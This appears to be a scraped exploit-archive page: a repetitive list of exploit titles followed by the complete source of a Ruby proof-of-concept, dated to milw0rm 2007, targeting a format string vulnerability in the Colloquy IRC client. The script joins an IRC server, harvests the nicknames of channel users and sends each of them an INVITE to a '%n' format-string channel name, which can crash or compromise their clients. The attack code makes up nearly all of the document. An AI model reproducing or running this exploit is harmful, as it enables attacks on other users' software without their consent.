477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
74 lines
2.4 KiB
Ruby
Executable file
74 lines
2.4 KiB
Ruby
Executable file
#!/usr/bin/ruby
|
|
# (c) Copyright 2006 Lance M. Havok <lmh@info-pull.com>
|
|
#
|
|
# Makes use of the Colloquy INVITE format string vulnerability.
|
|
#
|
|
|
|
require 'socket'
|
|
|
|
target_channel = (ARGV[0] || "#whatever")
|
|
target_server = (ARGV[1] || "irc.server.org")
|
|
target_port = (ARGV[2] || 6667)
|
|
|
|
rand_nick = "spongebo"
|
|
channel_joined = false
|
|
ready_to_go = false
|
|
abuse_attempts = 2
|
|
chan_fmtstring = ("#%n%n%n%n") # develop payload when feeling like it.
|
|
target_furries = []
|
|
|
|
irc_socket = TCPSocket.new(target_server, target_port.to_i)
|
|
|
|
irc_socket.print "USER #{rand_nick} localhost localhost r\n"
|
|
irc_socket.print "NICK #{rand_nick}\r\n"
|
|
while true
|
|
s = irc_socket.gets
|
|
case s.strip
|
|
when /^PING :(.+)$/i
|
|
puts "++ PING..."
|
|
irc_socket.send "PONG :#{$1}\n", 0
|
|
puts "++ PONG."
|
|
when /^:(.+?)!(.+?)@(.+?)\sPRIVMSG\s.+\s:[\001]PING (.+)[\001]$/i
|
|
puts "++ CTCP PING from #{$1}!#{$2}@#{$3}"
|
|
irc_socket.send "NOTICE #{$1} :\001PING #{$4}\001\n", 0
|
|
when /^:(.+?)!(.+?)@(.+?)\sPRIVMSG\s.+\s:[\001]VERSION[\001]$/i
|
|
puts "++ CTCP VERSION from #{$1}!#{$2}@#{$3}"
|
|
irc_socket.send "NOTICE #{$1} :\001VERSION Unabomber v0.011\001\n", 0
|
|
when /n=(.+) (.+) (.+) (.+) (.+) (.*)$/i
|
|
nickarr = s.scan(/n=(.+) (.+) (.+) (.+) (.+) (.*)/).flatten
|
|
|
|
if nickarr.size > 3
|
|
if nickarr[2].size > 2 and nickarr[2] != target_server
|
|
nickarr = nickarr[2]
|
|
elsif nickarr[1].size > 2 and nickarr[1] != target_server
|
|
nickarr = nickarr[1]
|
|
elsif nickarr[3].size > 2 and nickarr[3] != target_server
|
|
nickarr = nickarr[3]
|
|
end
|
|
|
|
target_furries << nickarr
|
|
end
|
|
else
|
|
unless channel_joined
|
|
#irc_socket.send "JOIN #{target_channel}\n", 0 (uncomment to join channel)
|
|
irc_socket.send "JOIN #{chan_fmtstring}\n", 0
|
|
channel_joined = true
|
|
end
|
|
|
|
if channel_joined and abuse_attempts != 0
|
|
irc_socket.send "WHO #{target_channel}\n", 0
|
|
abuse_attempts -= 1
|
|
end
|
|
|
|
# we need to throttle the pwnage or server will kick our ass
|
|
if target_furries.size > 1
|
|
target_furries.each do |zealot|
|
|
puts "++ Pwning #{zealot}"
|
|
irc_socket.send "INVITE #{zealot} #{chan_fmtstring}\n", 0
|
|
sleep 1
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
# milw0rm.com [2007-01-17]
|